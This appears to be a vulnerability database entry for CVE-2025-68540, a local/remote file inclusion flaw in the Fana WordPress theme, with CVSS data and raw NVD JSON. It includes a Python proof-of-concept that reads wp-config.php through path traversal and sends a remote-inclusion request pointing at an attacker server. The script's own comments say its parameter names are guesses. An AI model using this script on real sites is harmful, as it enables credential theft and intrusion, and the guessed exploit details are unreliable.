Security Vulnerability Report
中文
CVE-2025-68540 CVSS 7.5 HIGH

CVE-2025-68540

Published: 2025-12-24 13:16:23
Last Modified: 2026-04-27 19:16:29

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Fana fana allows PHP Local File Inclusion.This issue affects Fana: from n/a through <= 1.1.35.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Fana <= 1.1.35

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68540 PoC - Fana Theme Local File Inclusion # Target: WordPress site using Fana theme <= 1.1.35 def exploit_lfi(target_url, lfi_payload): """ Exploit Local File Inclusion to read sensitive files """ # Common Fana theme LFI parameters params = { 'theme_config': lfi_payload, # Alternative parameters that might be used # 'template': lfi_payload, # 'file': lfi_payload, # 'page': lfi_payload } try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def exploit_rce(target_url, attacker_server): """ Exploit Remote File Inclusion to execute arbitrary code """ params = { 'theme_config': attacker_server, } try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Sent RFI request to {attacker_server}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-68540.py <target_url>") print("Example: python cve-2025-68540.py http://target.com/wp-content/themes/fana/") sys.exit(1) target = sys.argv[1] # Test LFI - Read wp-config.php print("[*] Testing LFI vulnerability...") payload = "../../../../wp-config.php" result = exploit_lfi(target, payload) if result and "DB_NAME" in result: print("[+] VULNERABLE! Successfully read wp-config.php") print(result[:500]) else: print("[-] LFI test inconclusive")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68540", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:23.093", "lastModified": "2026-04-27T19:16:29.287", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Fana fana allows PHP Local File Inclusion.This issue affects Fana: from n/a through <= 1.1.35."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/fana/vulnerability/wordpress-fana-theme-1-1-35-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}